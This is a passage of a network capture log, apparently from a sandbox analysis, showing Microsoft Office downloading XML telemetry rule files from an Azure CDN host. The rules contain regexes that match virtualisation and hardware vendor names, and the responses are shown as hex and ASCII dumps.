4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.11	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:41 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:41 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:41 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 8a1a8cfd-901e-007b-2cfd-49ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054941Z-r1cf579d778t76vqhC1EWRdx4w00000001e000000000509z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-09 05:49:41 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.11	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:42 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:42 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 2d34fefa-a01e-003d-2144-4998d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054942Z-r1cf579d778pftsbhC1EWRa0gn0000000220000000002thw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:42 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.11	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:42 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:42 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 9350bad7-201e-00aa-717e-493928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054942Z-r1cf579d7782w22mhC1EWR2ebg00000002a00000000078w7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:42 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.11	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:42 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:42 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 89aee8cc-c01e-0049-50be-49ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054942Z-r1cf579d778t76vqhC1EWRdx4w00000001m0000000000mdy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:42 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.11	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:43 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:43 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 32d588ee-b01e-003e-0206-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054943Z-r1cf579d778dndrdhC1EWR4b24000000073g00000000548c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:44 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.11	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:43 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:43 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: c2c382dc-f01e-0000-7f76-49193e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054943Z-r1cf579d7782w22mhC1EWR2ebg00000002bg000000006232 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:44 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.11	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:44 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:44 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 32118861-501e-0035-506d-49c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054944Z-r1cf579d7789jf56hC1EWRu58800000002k0000000005vy0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:44 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.11	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:44 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:44 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 9160dc9b-d01e-00ad-5f02-48e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054944Z-r1cf579d778d5zkmhC1EWRk6h800000007xg000000004utk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:44 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.11	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:44 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:44 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 2750dbad-b01e-003d-064a-49d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054944Z-r1cf579d7789jf56hC1EWRu58800000002h0000000006etc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:45 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.11	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:45 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:46 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 4c7743ed-001e-0082-4b03-485880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054946Z-r1cf579d778qlpkrhC1EWRpfc8000000087000000000492q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:46 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.11	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:46 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:46 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:46 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: c8b0921d-001e-00a2-54be-49d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054946Z-r1cf579d778n7642hC1EWRpehw00000000p00000000014cv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-09 05:49:46 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.11	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:46 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:46 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: ecdd694a-c01e-008d-1098-492eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054946Z-r1cf579d7789jf56hC1EWRu58800000002mg000000003z00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
